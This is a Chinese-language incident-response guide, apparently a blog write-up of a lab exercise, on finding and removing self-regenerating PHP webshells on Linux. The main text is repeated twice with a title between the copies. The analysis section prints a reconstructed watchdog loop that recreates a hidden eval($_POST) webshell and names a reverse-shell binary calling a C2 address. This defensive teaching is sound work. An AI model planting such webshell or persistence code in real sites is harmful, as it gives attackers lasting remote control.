1. 项目概述从“玄机”靶场看Linux不死马的攻防本质最近在带团队做应急响应演练发现很多刚入行的兄弟对“不死马”这个概念还是有点模糊处理起来也容易手忙脚乱。正好之前研究“玄机”靶场的应急响应章节时第二章专门讲的就是Linux不死马的查杀实战这玩意儿在真实攻防里太常见了。所谓“不死马”本质上是一种利用Linux系统特性比如crontab、systemd、inotify或者自身循环检测实现持久化驻留的恶意程序或Webshell。它的核心不是“杀不死”而是“删不掉”或“删了又生”——你把它进程杀了文件删了过几秒钟它又从某个角落“复活”了非常烦人。这个靶场案例就很典型一个看似简单的Web目录入侵背后却嵌套着进程守护、隐藏文件、反向连接等多种手法非常适合用来捋清应急响应的完整思路和实操链条。今天我就结合这个实战案例把不死马从原理、发现、分析到彻底清理的完整流程拆解一遍尤其是那些容易踩坑的细节和常规工具搞不定的“骚操作”希望能给需要处理类似安全事件的朋友提供一个清晰的参考模板。2. 核心原理不死马为何“不死”在动手之前我们必须先搞清楚对手是怎么“活”下来的。知其然更要知其所以然这样才能在对抗中占据主动。2.1 常见的不死马实现机制不死马的“不死”特性通常依赖于以下几种机制的一种或多种组合进程互保/守护进程这是最经典的模式。由两个或多个进程相互监视。进程A负责监控进程B一旦发现进程B被终止立即重新启动它反之亦然。在Webshell场景下可能是一个PHP脚本进程A定时检测另一个Webshell文件进程B是否存在如果被删除就重新写入。定时任务Cron复活攻击者写入一个定时任务crontab每隔一分钟甚至几秒就执行一次恶意脚本。这个脚本会检查核心木马文件或进程状态一旦异常就立即恢复。即使你删除了木马文件到了下一个定时周期它又会被重新下载或生成。系统服务Systemd/Init驻留将恶意程序注册为系统服务并配置为自动重启Restartalways。这样即使进程崩溃或被杀死系统服务管理器也会自动将其拉起来。Inotify文件监控复活利用inotify-tools等机制监控特定目录如Web根目录。一旦发现关键的后门文件被删除监控脚本立即触发重新创建该文件。内存马/无文件马更高阶的手法。恶意代码不依赖磁盘文件而是直接注入到正在运行的Web服务器进程如PHP-FPM、Apache Worker的内存中。你删光所有文件它依然能在内存中执行。这类不在本次基础讨论范围但需要知道有这种形态。在“玄机”第二章的案例里主要采用的是第一种“进程互保”机制具体表现为一个Webshellindex.php不断检测并创建另一个隐藏的Webshell.shell.php。2.2 靶场案例中的不死马运作流程结合靶场环境我们可以还原攻击者的入侵链条初始入侵攻击者通过某种漏洞可能是文件上传、命令注入等在/var/www/html目录下传入了第一个Webshell1.php这是一个功能完整的一句话木马密码为1。部署持久化为了对抗管理员的清理攻击者没有满足于一个容易被发现的shell。他上传了第二个文件index.php。这个文件看起来可能像正常的首页但其核心代码是一个“看守程序”。看守逻辑index.php内部包含一个循环逻辑可能通过while(true)sleep()实现每隔极短时间如2秒执行一次检查隐藏文件.shell.php是否存在且内容完整。如果不存在或不完整则利用file_put_contents()等函数重新创建或写入.shell.php文件。这个.shell.php才是攻击者真正用来连接的后门密码是hello的MD5值5d41402abc4b2a76b9719d911017c592。隐藏与混淆将真正的后门文件命名为.shell.php以点开头在Linux下默认是隐藏文件ls命令不直接显示需要ls -la才能看到增加了发现难度。预留后手攻击者还留下了另一个后门程序shell(1).elf这是一个Linux ELF可执行文件功能是反向连接到攻击者的C2服务器IP:10.11.55.21, Port:3333作为Webshell之外的另一种远程控制通道。这个设计巧妙之处在于管理员发现异常后通常会删除最明显的1.php甚至找到并删除.shell.php。但只要index.php这个“看守进程”通过Web请求触发还在运行它就会不断地、安静地把.shell.php重新“生”出来造成“怎么删都删不掉”的假象。注意这里的不死马依赖于Web服务如Apache/Nginx持续访问index.php来触发其循环逻辑。如果Web服务重启或该页面无人访问循环可能会中断。但在实战中攻击者可能会用nohup、screen或将其伪装成正常API接口确保其持续运行。3. 应急响应实战流程拆解面对“服务器疑似存在不死马”的告警一个清晰、有序的流程是高效处置的关键。下面我以靶场为例梳理标准步骤。3.1 第一步现场保护与信息收集切忌一上来就乱删文件。首先要做的是“保护现场”和“收集证据”。隔离与快照如果条件允许第一时间将受感染服务器进行网络隔离拔网线或修改安全组防止攻击者持续操作或横向移动。并对服务器磁盘制作快照或镜像为后续法律取证和分析保留原始状态。记录现场状态系统状态使用top、htop、ps auxf命令查看异常进程。特别关注CPU或内存占用高、进程名奇怪、父子进程关系可疑的进程。网络连接使用netstat -alntup或ss -alntup查看异常外连。重点关注连接到陌生IP、非标准端口如靶场中的3333端口的连接。用户与登录检查/etc/passwd、/etc/shadow是否有新增可疑用户使用last、lastb、w命令查看当前登录和近期登录记录。定时任务分别以root和Web服务用户如www-data身份运行crontab -l查看用户级定时任务。同时检查系统级定时任务目录/etc/cron.d/、/etc/cron.hourly/等。系统服务检查是否有可疑的新增服务systemctl list-units --typeservice --all或查看/etc/systemd/system/、/etc/init.d/目录。在靶场中我们连接后第一步不是盲目查找而是先做信息概览。执行netstat -alntup可能会发现一个连接到10.11.55.21:3333的未知连接这立刻就能将排查范围缩小到反向连接程序。3.2 第二步聚焦威胁定位恶意文件告警提示“web目录存在木马”这给了我们明确的排查起点。定位Web目录常见的Web根目录有/var/www/html、/usr/share/nginx/html、/home/wwwroot等。靶场明确是/var/www/html直接进入。初步文件列表使用ls -la查看所有文件包括隐藏文件。靶场中会看到1.php- 明显可疑index.php- 可能被篡改的首页.shell.php- 隐藏的后门文件以点开头shell(1).elf- 可疑的可执行程序使用专业工具扫描人工检查费时费力使用Webshell查杀工具辅助。本地扫描可以将整个Web目录打包下载到本地使用D盾、河马Webshell查杀等工具进行扫描。靶场作者提到河马误报率较高这很真实。工具是辅助关键还要靠人工研判。在线扫描对于PHP等脚本可以使用php -l filename进行语法检查有时恶意代码会导致语法错误提示。也可以使用strings命令查看二进制文件shell(1).elf中的可读字符串可能会发现IP、端口等敏感信息。人工分析关键文件1.php用cat或vim查看通常是一句经典的eval($_POST[‘password’])或类似变种很容易找到连接密码flag{1}。index.php查看源码核心是寻找while、sleep、file_exists、file_put_contents等函数组合的循环创建逻辑。.shell.php查看内容找到其连接密码。靶场中密码是hello但文件中存储的是其MD5值需要识别或破解。实操心得不要完全依赖工具的扫描结果。工具可能误报将正常加密代码报为木马或漏报对于新型变种。最终判定必须结合人工审计代码逻辑。查看文件的时间戳stat filename也很有用如果index.php的修改时间非常新且与其他正常文件时间不符就是重大嫌疑。3.3 第三步不死马分析与密码获取这是本案例的核心。仅仅找到文件不够要理解其运作机制才能彻底清除。动态验证不死马行为首先尝试删除.shell.phprm -f .shell.php然后立即再次列出文件ls -la或者等待几秒后再次查看。你会发现.shell.php又出现了。这就是“不死”的直观体现。同时可以监控Web服务的访问日志tail -f /var/log/apache2/access.log可能会看到频繁访问index.php的请求这印证了它是“看守者”。分析“看守者”脚本index.php// 示例代码逻辑还原 ?php ignore_user_abort(true); // 忽略客户端断开脚本继续执行 set_time_limit(0); // 取消脚本执行时间上限 while(true) { $file .shell.php; $shell_content ?php eval($_POST[hello]);?; // 或存储md5密码等 if(!file_exists($file) || md5_file($file) ! ‘预设的md5值’) { // 如果文件不存在或内容被篡改就重新创建 file_put_contents($file, $shell_content); } sleep(2); // 每2秒检测一次 } ?通过分析这样的代码我们不仅能确认不死马机制还能从中找到被创建的后门文件路径.shell.php和密码藏在代码或生成的shell文件中。获取密码靶场中.shell.php文件内的密码是hello但提交的flag要求其MD5值5d41402abc4b2a76b9719d911017c592。这提醒我们在实战中密码可能以明文、MD5、Base64等多种形式存在需要仔细查找或简单解密。3.4 第四步溯源与拓展发现反连木马清理Webshell的同时必须排查是否有其他类型的后门。分析可疑二进制文件发现shell(1).elf后先用file命令确认其类型file shell(1).elf输出应为ELF 64-bit LSB executable。提取字符串信息使用strings shell(1).elf | grep -E ‘[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’或直接strings shell(1).elf | less浏览有很大概率直接看到IP地址10.11.55.21和端口号3333等字符串。动态执行分析谨慎在隔离环境或沙箱中可以尝试运行它来验证其行为。靶场中就是这种方法。赋予执行权限chmod x ‘shell(1).elf’注意文件名有括号需要转义或使用引号。在后台运行./’shell(1).elf’ 立即查看网络连接netstat -alntup | grep elf或根据进程名查找。会发现一个到10.11.55.21:3333的ESTABLISHED连接。提交发现由此可确认黑客的C2服务器IP和端口。重要警告在真实应急中绝对不要在生产环境直接运行未知的可执行文件这可能导致进一步的破坏或数据泄露。应该在隔离的沙箱环境进行分析。靶场因为是可控环境才允许这样操作。3.5 第五步彻底清除与加固找到所有恶意元素后最关键的一步是干净、彻底地清除并阻断其再生。终止不死马循环方法A终止Web服务进程。这是最直接暴力的方法。因为index.php需要被Web服务器进程如apache2或php-fpm解释执行才能维持循环。执行systemctl stop apache2或pkill php-fpm可以立即终止循环。但会影响业务。方法B删除或重命名“看守者”文件。在Web服务运行期间快速执行rm -f index.php或mv index.php index.php.bak。由于文件被删除正在运行的PHP进程在下一次循环检测file_exists(‘index.php’)时会失败或者因为include/require失败而报错退出。但存在时间差可能不彻底。方法C推荐使用chattr锁定文件。首先删除现有的.shell.php。然后立即对index.php施加不可修改、不可删除的属性chattr i index.php。这样即使循环脚本还在内存中运行它也无法再成功执行file_put_contents来创建新的后门。然后再安全地停止Web服务并清理文件。清理所有恶意文件在确保不死马机制失效后一次性清理。rm -f /var/www/html/1.php rm -f /var/www/html/.shell.php rm -f /var/www/html/index.php # 或 index.php.bak rm -f /var/www/html/shell\(1\).elf检查并清理持久化项目定时任务再次仔细检查crontab -l、/etc/cron.d/、/etc/cron.hourly/等删除任何与恶意文件相关的任务。系统服务检查是否有新增的恶意服务。启动项检查/etc/rc.local、/etc/profile.d/、用户家目录的.bashrc或.profile等是否被植入恶意命令。修复漏洞分析最初的入侵途径。检查Web应用漏洞如本次可能是文件上传漏洞、服务器弱口令等并进行修补。否则清完后还会被再次植入。恢复与监控从备份恢复被篡改的合法文件如正常的index.php。重启Web服务。部署或加强安全监控如文件完整性监控FIM、入侵检测系统IDS日志分析等。4. 高阶查杀技巧与对抗手段上面的流程能解决大部分常规不死马。但遇到更顽固或更高级的变种就需要一些“骚操作”了。4.1 针对高级不死马的查杀方法内存马排查如果清理文件后异常网络连接或行为依然存在需怀疑内存马。检查PHP扩展php -m查看有无陌生扩展。恶意的PHP扩展可能在内存中驻留。检查Web服务器进程内存这比较困难可以使用gdb附加到php-fpm或apache进程或者使用pmap查看进程内存映射寻找可疑模块。更专业的方法是使用类似memshell_search这样的专用工具进行内存扫描。基于进程关系的斩草除根使用pstree -p或ps auxf查看详细的进程树。不死马的守护进程和子进程往往有父子或兄弟关系。找到整个进程家族然后用kill -9 父进程PID先杀父进程再清理子进程。使用lsof命令锁定文件如果不知道是哪个进程在持有并写入恶意文件可以使用lsof /var/www/html/.shell.php命令直接查看到底是哪个进程打开了这个文件。查到的PID就是元凶直接杀掉。inotify监控安装inotify-tools使用inotifywait -mr -e create,modify,delete /var/www/html监控Web目录的文件变动。当.shell.php被神秘创建时监控终端会打印出事件和进程PID这是定位隐藏守护进程的利器。4.2 预防性加固建议应急响应是被动的主动加固才能防患于未然。文件系统加固设置不可修改位对关键的Web目录如上传目录设置chattr i禁止修改但需注意业务需求。使用文件访问控制配置严格的SELinux或AppArmor策略限制Web服务进程的权限禁止其在Web目录外执行写操作或创建隐藏文件。权限最小化Web服务进程如www-data用户绝对不应有/var/www/html目录的写权限最多只给上传目录写权限。将网站文件的所有者改为root或其他管理用户权限设置为644文件和755目录Web服务用户只有读和执行权限。主动监控与告警部署HIDS安装主机入侵检测系统如OSSEC、Wazuh监控文件完整性、异常进程和可疑日志。日志集中分析收集Web访问日志、系统日志使用ELK或Splunk进行集中分析设置告警规则如短时间内大量访问某个异常PHP文件。网络层监控使用防火墙或IDS监控服务器发起的异常外连如连接到非法的C2 IP。定期安全检查和演练定期进行漏洞扫描、渗透测试和应急响应演练确保团队熟悉流程。5. 常见问题与排查技巧实录在实际处置过程中肯定会遇到各种意想不到的情况。这里记录几个典型问题和我的解决思路。5.1 问题一删除文件后瞬间又出现ps却找不到明显恶意进程。排查思路检查系统定时任务用cat /etc/crontab和ls -la /etc/cron.*/仔细看攻击者可能把任务放在/etc/cron.d/下一个名字像系统文件如syslog的文件里。检查用户级定时任务分别切换到 root、www-data、以及系统上其他可能存在的用户执行crontab -l。crontab -l -u www-data可以直接查看指定用户的定时任务。检查at任务运行atq查看是否有排队的at任务。检查系统服务systemctl list-units --typeservice --staterunning查看所有运行中的服务寻找陌生或伪装的服务名。检查inotify是否安装了inotifywait用which inotifywait或dpkg -l | grep inotify检查。检查进程内存用ps aux | grep -v ‘\[’过滤掉内核线程重点看用户态进程。有时恶意进程名会伪装成[kworker/u:0]或类似内核线程名。5.2 问题二kill掉可疑进程后它马上又起来了并且父进程IDPPID变成了1init。排查思路这是典型的被系统服务管理器接管重启的现象。检查系统服务立刻执行systemctl status 刚才kill的进程PID看是否能查到对应的服务单元。或者用ps -eo pid,ppid,cmd | grep 进程名找到其父进程如果父进程是systemd或init那基本就是服务了。查找服务文件根据进程名或服务名去/etc/systemd/system/、/lib/systemd/system/、/usr/lib/systemd/system/目录下查找对应的.service文件。处置方法先systemctl stop 服务名停止服务再systemctl disable 服务名禁用开机自启然后才能安全地删除服务文件和恶意程序。5.3 问题三Webshell查杀工具扫不出不死马文件。排查思路文件隐藏一定要用ls -la查看隐藏文件。攻击者喜欢用.开头的文件名。代码混淆不死马的“看守脚本”可能代码经过混淆、加密或者嵌入在正常的业务逻辑文件中工具无法识别。需要人工审计代码寻找eval、assert、system、preg_replace的/e修饰符等危险函数以及异常的include/require语句。文件权限确保扫描工具对Web目录有读权限。工具更新确保使用的查杀工具病毒库是最新的。5.4 问题四清理后系统仍然有不明外连或资源占用高。排查思路排查内核模块使用lsmod查看已加载的内核模块是否有可疑的、非标准的模块。排查动态链接库注入使用ldd检查关键进程如php-fpm、nginx加载的共享库是否有路径异常的库文件。排查网络连接用netstat -alntup持续监控定位到发起连接的进程PID再顺藤摸瓜。考虑Rootkit如果以上都无果需使用chkrootkit、rkhunter等工具进行Rootkit检测或者对比/proc文件系统中的进程列表与ps命令的输出是否一致。处理不死马耐心和细心比技术更重要。它就像一场系统层面的“扫雷”游戏需要你逐层排查从文件系统、进程、网络、定时任务、服务等多个维度交叉验证才能确保清除干净。每次应急都是一次学习总结攻击者的手法反过来完善自己的防御体系这才是安全运维的良性循环。
Linux不死马攻防实战：从原理到查杀的应急响应指南
1. 项目概述从“玄机”靶场看Linux不死马的攻防本质最近在带团队做应急响应演练发现很多刚入行的兄弟对“不死马”这个概念还是有点模糊处理起来也容易手忙脚乱。正好之前研究“玄机”靶场的应急响应章节时第二章专门讲的就是Linux不死马的查杀实战这玩意儿在真实攻防里太常见了。所谓“不死马”本质上是一种利用Linux系统特性比如crontab、systemd、inotify或者自身循环检测实现持久化驻留的恶意程序或Webshell。它的核心不是“杀不死”而是“删不掉”或“删了又生”——你把它进程杀了文件删了过几秒钟它又从某个角落“复活”了非常烦人。这个靶场案例就很典型一个看似简单的Web目录入侵背后却嵌套着进程守护、隐藏文件、反向连接等多种手法非常适合用来捋清应急响应的完整思路和实操链条。今天我就结合这个实战案例把不死马从原理、发现、分析到彻底清理的完整流程拆解一遍尤其是那些容易踩坑的细节和常规工具搞不定的“骚操作”希望能给需要处理类似安全事件的朋友提供一个清晰的参考模板。2. 核心原理不死马为何“不死”在动手之前我们必须先搞清楚对手是怎么“活”下来的。知其然更要知其所以然这样才能在对抗中占据主动。2.1 常见的不死马实现机制不死马的“不死”特性通常依赖于以下几种机制的一种或多种组合进程互保/守护进程这是最经典的模式。由两个或多个进程相互监视。进程A负责监控进程B一旦发现进程B被终止立即重新启动它反之亦然。在Webshell场景下可能是一个PHP脚本进程A定时检测另一个Webshell文件进程B是否存在如果被删除就重新写入。定时任务Cron复活攻击者写入一个定时任务crontab每隔一分钟甚至几秒就执行一次恶意脚本。这个脚本会检查核心木马文件或进程状态一旦异常就立即恢复。即使你删除了木马文件到了下一个定时周期它又会被重新下载或生成。系统服务Systemd/Init驻留将恶意程序注册为系统服务并配置为自动重启Restartalways。这样即使进程崩溃或被杀死系统服务管理器也会自动将其拉起来。Inotify文件监控复活利用inotify-tools等机制监控特定目录如Web根目录。一旦发现关键的后门文件被删除监控脚本立即触发重新创建该文件。内存马/无文件马更高阶的手法。恶意代码不依赖磁盘文件而是直接注入到正在运行的Web服务器进程如PHP-FPM、Apache Worker的内存中。你删光所有文件它依然能在内存中执行。这类不在本次基础讨论范围但需要知道有这种形态。在“玄机”第二章的案例里主要采用的是第一种“进程互保”机制具体表现为一个Webshellindex.php不断检测并创建另一个隐藏的Webshell.shell.php。2.2 靶场案例中的不死马运作流程结合靶场环境我们可以还原攻击者的入侵链条初始入侵攻击者通过某种漏洞可能是文件上传、命令注入等在/var/www/html目录下传入了第一个Webshell1.php这是一个功能完整的一句话木马密码为1。部署持久化为了对抗管理员的清理攻击者没有满足于一个容易被发现的shell。他上传了第二个文件index.php。这个文件看起来可能像正常的首页但其核心代码是一个“看守程序”。看守逻辑index.php内部包含一个循环逻辑可能通过while(true)sleep()实现每隔极短时间如2秒执行一次检查隐藏文件.shell.php是否存在且内容完整。如果不存在或不完整则利用file_put_contents()等函数重新创建或写入.shell.php文件。这个.shell.php才是攻击者真正用来连接的后门密码是hello的MD5值5d41402abc4b2a76b9719d911017c592。隐藏与混淆将真正的后门文件命名为.shell.php以点开头在Linux下默认是隐藏文件ls命令不直接显示需要ls -la才能看到增加了发现难度。预留后手攻击者还留下了另一个后门程序shell(1).elf这是一个Linux ELF可执行文件功能是反向连接到攻击者的C2服务器IP:10.11.55.21, Port:3333作为Webshell之外的另一种远程控制通道。这个设计巧妙之处在于管理员发现异常后通常会删除最明显的1.php甚至找到并删除.shell.php。但只要index.php这个“看守进程”通过Web请求触发还在运行它就会不断地、安静地把.shell.php重新“生”出来造成“怎么删都删不掉”的假象。注意这里的不死马依赖于Web服务如Apache/Nginx持续访问index.php来触发其循环逻辑。如果Web服务重启或该页面无人访问循环可能会中断。但在实战中攻击者可能会用nohup、screen或将其伪装成正常API接口确保其持续运行。3. 应急响应实战流程拆解面对“服务器疑似存在不死马”的告警一个清晰、有序的流程是高效处置的关键。下面我以靶场为例梳理标准步骤。3.1 第一步现场保护与信息收集切忌一上来就乱删文件。首先要做的是“保护现场”和“收集证据”。隔离与快照如果条件允许第一时间将受感染服务器进行网络隔离拔网线或修改安全组防止攻击者持续操作或横向移动。并对服务器磁盘制作快照或镜像为后续法律取证和分析保留原始状态。记录现场状态系统状态使用top、htop、ps auxf命令查看异常进程。特别关注CPU或内存占用高、进程名奇怪、父子进程关系可疑的进程。网络连接使用netstat -alntup或ss -alntup查看异常外连。重点关注连接到陌生IP、非标准端口如靶场中的3333端口的连接。用户与登录检查/etc/passwd、/etc/shadow是否有新增可疑用户使用last、lastb、w命令查看当前登录和近期登录记录。定时任务分别以root和Web服务用户如www-data身份运行crontab -l查看用户级定时任务。同时检查系统级定时任务目录/etc/cron.d/、/etc/cron.hourly/等。系统服务检查是否有可疑的新增服务systemctl list-units --typeservice --all或查看/etc/systemd/system/、/etc/init.d/目录。在靶场中我们连接后第一步不是盲目查找而是先做信息概览。执行netstat -alntup可能会发现一个连接到10.11.55.21:3333的未知连接这立刻就能将排查范围缩小到反向连接程序。3.2 第二步聚焦威胁定位恶意文件告警提示“web目录存在木马”这给了我们明确的排查起点。定位Web目录常见的Web根目录有/var/www/html、/usr/share/nginx/html、/home/wwwroot等。靶场明确是/var/www/html直接进入。初步文件列表使用ls -la查看所有文件包括隐藏文件。靶场中会看到1.php- 明显可疑index.php- 可能被篡改的首页.shell.php- 隐藏的后门文件以点开头shell(1).elf- 可疑的可执行程序使用专业工具扫描人工检查费时费力使用Webshell查杀工具辅助。本地扫描可以将整个Web目录打包下载到本地使用D盾、河马Webshell查杀等工具进行扫描。靶场作者提到河马误报率较高这很真实。工具是辅助关键还要靠人工研判。在线扫描对于PHP等脚本可以使用php -l filename进行语法检查有时恶意代码会导致语法错误提示。也可以使用strings命令查看二进制文件shell(1).elf中的可读字符串可能会发现IP、端口等敏感信息。人工分析关键文件1.php用cat或vim查看通常是一句经典的eval($_POST[‘password’])或类似变种很容易找到连接密码flag{1}。index.php查看源码核心是寻找while、sleep、file_exists、file_put_contents等函数组合的循环创建逻辑。.shell.php查看内容找到其连接密码。靶场中密码是hello但文件中存储的是其MD5值需要识别或破解。实操心得不要完全依赖工具的扫描结果。工具可能误报将正常加密代码报为木马或漏报对于新型变种。最终判定必须结合人工审计代码逻辑。查看文件的时间戳stat filename也很有用如果index.php的修改时间非常新且与其他正常文件时间不符就是重大嫌疑。3.3 第三步不死马分析与密码获取这是本案例的核心。仅仅找到文件不够要理解其运作机制才能彻底清除。动态验证不死马行为首先尝试删除.shell.phprm -f .shell.php然后立即再次列出文件ls -la或者等待几秒后再次查看。你会发现.shell.php又出现了。这就是“不死”的直观体现。同时可以监控Web服务的访问日志tail -f /var/log/apache2/access.log可能会看到频繁访问index.php的请求这印证了它是“看守者”。分析“看守者”脚本index.php// 示例代码逻辑还原 ?php ignore_user_abort(true); // 忽略客户端断开脚本继续执行 set_time_limit(0); // 取消脚本执行时间上限 while(true) { $file .shell.php; $shell_content ?php eval($_POST[hello]);?; // 或存储md5密码等 if(!file_exists($file) || md5_file($file) ! ‘预设的md5值’) { // 如果文件不存在或内容被篡改就重新创建 file_put_contents($file, $shell_content); } sleep(2); // 每2秒检测一次 } ?通过分析这样的代码我们不仅能确认不死马机制还能从中找到被创建的后门文件路径.shell.php和密码藏在代码或生成的shell文件中。获取密码靶场中.shell.php文件内的密码是hello但提交的flag要求其MD5值5d41402abc4b2a76b9719d911017c592。这提醒我们在实战中密码可能以明文、MD5、Base64等多种形式存在需要仔细查找或简单解密。3.4 第四步溯源与拓展发现反连木马清理Webshell的同时必须排查是否有其他类型的后门。分析可疑二进制文件发现shell(1).elf后先用file命令确认其类型file shell(1).elf输出应为ELF 64-bit LSB executable。提取字符串信息使用strings shell(1).elf | grep -E ‘[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’或直接strings shell(1).elf | less浏览有很大概率直接看到IP地址10.11.55.21和端口号3333等字符串。动态执行分析谨慎在隔离环境或沙箱中可以尝试运行它来验证其行为。靶场中就是这种方法。赋予执行权限chmod x ‘shell(1).elf’注意文件名有括号需要转义或使用引号。在后台运行./’shell(1).elf’ 立即查看网络连接netstat -alntup | grep elf或根据进程名查找。会发现一个到10.11.55.21:3333的ESTABLISHED连接。提交发现由此可确认黑客的C2服务器IP和端口。重要警告在真实应急中绝对不要在生产环境直接运行未知的可执行文件这可能导致进一步的破坏或数据泄露。应该在隔离的沙箱环境进行分析。靶场因为是可控环境才允许这样操作。3.5 第五步彻底清除与加固找到所有恶意元素后最关键的一步是干净、彻底地清除并阻断其再生。终止不死马循环方法A终止Web服务进程。这是最直接暴力的方法。因为index.php需要被Web服务器进程如apache2或php-fpm解释执行才能维持循环。执行systemctl stop apache2或pkill php-fpm可以立即终止循环。但会影响业务。方法B删除或重命名“看守者”文件。在Web服务运行期间快速执行rm -f index.php或mv index.php index.php.bak。由于文件被删除正在运行的PHP进程在下一次循环检测file_exists(‘index.php’)时会失败或者因为include/require失败而报错退出。但存在时间差可能不彻底。方法C推荐使用chattr锁定文件。首先删除现有的.shell.php。然后立即对index.php施加不可修改、不可删除的属性chattr i index.php。这样即使循环脚本还在内存中运行它也无法再成功执行file_put_contents来创建新的后门。然后再安全地停止Web服务并清理文件。清理所有恶意文件在确保不死马机制失效后一次性清理。rm -f /var/www/html/1.php rm -f /var/www/html/.shell.php rm -f /var/www/html/index.php # 或 index.php.bak rm -f /var/www/html/shell\(1\).elf检查并清理持久化项目定时任务再次仔细检查crontab -l、/etc/cron.d/、/etc/cron.hourly/等删除任何与恶意文件相关的任务。系统服务检查是否有新增的恶意服务。启动项检查/etc/rc.local、/etc/profile.d/、用户家目录的.bashrc或.profile等是否被植入恶意命令。修复漏洞分析最初的入侵途径。检查Web应用漏洞如本次可能是文件上传漏洞、服务器弱口令等并进行修补。否则清完后还会被再次植入。恢复与监控从备份恢复被篡改的合法文件如正常的index.php。重启Web服务。部署或加强安全监控如文件完整性监控FIM、入侵检测系统IDS日志分析等。4. 高阶查杀技巧与对抗手段上面的流程能解决大部分常规不死马。但遇到更顽固或更高级的变种就需要一些“骚操作”了。4.1 针对高级不死马的查杀方法内存马排查如果清理文件后异常网络连接或行为依然存在需怀疑内存马。检查PHP扩展php -m查看有无陌生扩展。恶意的PHP扩展可能在内存中驻留。检查Web服务器进程内存这比较困难可以使用gdb附加到php-fpm或apache进程或者使用pmap查看进程内存映射寻找可疑模块。更专业的方法是使用类似memshell_search这样的专用工具进行内存扫描。基于进程关系的斩草除根使用pstree -p或ps auxf查看详细的进程树。不死马的守护进程和子进程往往有父子或兄弟关系。找到整个进程家族然后用kill -9 父进程PID先杀父进程再清理子进程。使用lsof命令锁定文件如果不知道是哪个进程在持有并写入恶意文件可以使用lsof /var/www/html/.shell.php命令直接查看到底是哪个进程打开了这个文件。查到的PID就是元凶直接杀掉。inotify监控安装inotify-tools使用inotifywait -mr -e create,modify,delete /var/www/html监控Web目录的文件变动。当.shell.php被神秘创建时监控终端会打印出事件和进程PID这是定位隐藏守护进程的利器。4.2 预防性加固建议应急响应是被动的主动加固才能防患于未然。文件系统加固设置不可修改位对关键的Web目录如上传目录设置chattr i禁止修改但需注意业务需求。使用文件访问控制配置严格的SELinux或AppArmor策略限制Web服务进程的权限禁止其在Web目录外执行写操作或创建隐藏文件。权限最小化Web服务进程如www-data用户绝对不应有/var/www/html目录的写权限最多只给上传目录写权限。将网站文件的所有者改为root或其他管理用户权限设置为644文件和755目录Web服务用户只有读和执行权限。主动监控与告警部署HIDS安装主机入侵检测系统如OSSEC、Wazuh监控文件完整性、异常进程和可疑日志。日志集中分析收集Web访问日志、系统日志使用ELK或Splunk进行集中分析设置告警规则如短时间内大量访问某个异常PHP文件。网络层监控使用防火墙或IDS监控服务器发起的异常外连如连接到非法的C2 IP。定期安全检查和演练定期进行漏洞扫描、渗透测试和应急响应演练确保团队熟悉流程。5. 常见问题与排查技巧实录在实际处置过程中肯定会遇到各种意想不到的情况。这里记录几个典型问题和我的解决思路。5.1 问题一删除文件后瞬间又出现ps却找不到明显恶意进程。排查思路检查系统定时任务用cat /etc/crontab和ls -la /etc/cron.*/仔细看攻击者可能把任务放在/etc/cron.d/下一个名字像系统文件如syslog的文件里。检查用户级定时任务分别切换到 root、www-data、以及系统上其他可能存在的用户执行crontab -l。crontab -l -u www-data可以直接查看指定用户的定时任务。检查at任务运行atq查看是否有排队的at任务。检查系统服务systemctl list-units --typeservice --staterunning查看所有运行中的服务寻找陌生或伪装的服务名。检查inotify是否安装了inotifywait用which inotifywait或dpkg -l | grep inotify检查。检查进程内存用ps aux | grep -v ‘\[’过滤掉内核线程重点看用户态进程。有时恶意进程名会伪装成[kworker/u:0]或类似内核线程名。5.2 问题二kill掉可疑进程后它马上又起来了并且父进程IDPPID变成了1init。排查思路这是典型的被系统服务管理器接管重启的现象。检查系统服务立刻执行systemctl status 刚才kill的进程PID看是否能查到对应的服务单元。或者用ps -eo pid,ppid,cmd | grep 进程名找到其父进程如果父进程是systemd或init那基本就是服务了。查找服务文件根据进程名或服务名去/etc/systemd/system/、/lib/systemd/system/、/usr/lib/systemd/system/目录下查找对应的.service文件。处置方法先systemctl stop 服务名停止服务再systemctl disable 服务名禁用开机自启然后才能安全地删除服务文件和恶意程序。5.3 问题三Webshell查杀工具扫不出不死马文件。排查思路文件隐藏一定要用ls -la查看隐藏文件。攻击者喜欢用.开头的文件名。代码混淆不死马的“看守脚本”可能代码经过混淆、加密或者嵌入在正常的业务逻辑文件中工具无法识别。需要人工审计代码寻找eval、assert、system、preg_replace的/e修饰符等危险函数以及异常的include/require语句。文件权限确保扫描工具对Web目录有读权限。工具更新确保使用的查杀工具病毒库是最新的。5.4 问题四清理后系统仍然有不明外连或资源占用高。排查思路排查内核模块使用lsmod查看已加载的内核模块是否有可疑的、非标准的模块。排查动态链接库注入使用ldd检查关键进程如php-fpm、nginx加载的共享库是否有路径异常的库文件。排查网络连接用netstat -alntup持续监控定位到发起连接的进程PID再顺藤摸瓜。考虑Rootkit如果以上都无果需使用chkrootkit、rkhunter等工具进行Rootkit检测或者对比/proc文件系统中的进程列表与ps命令的输出是否一致。处理不死马耐心和细心比技术更重要。它就像一场系统层面的“扫雷”游戏需要你逐层排查从文件系统、进程、网络、定时任务、服务等多个维度交叉验证才能确保清除干净。每次应急都是一次学习总结攻击者的手法反过来完善自己的防御体系这才是安全运维的良性循环。
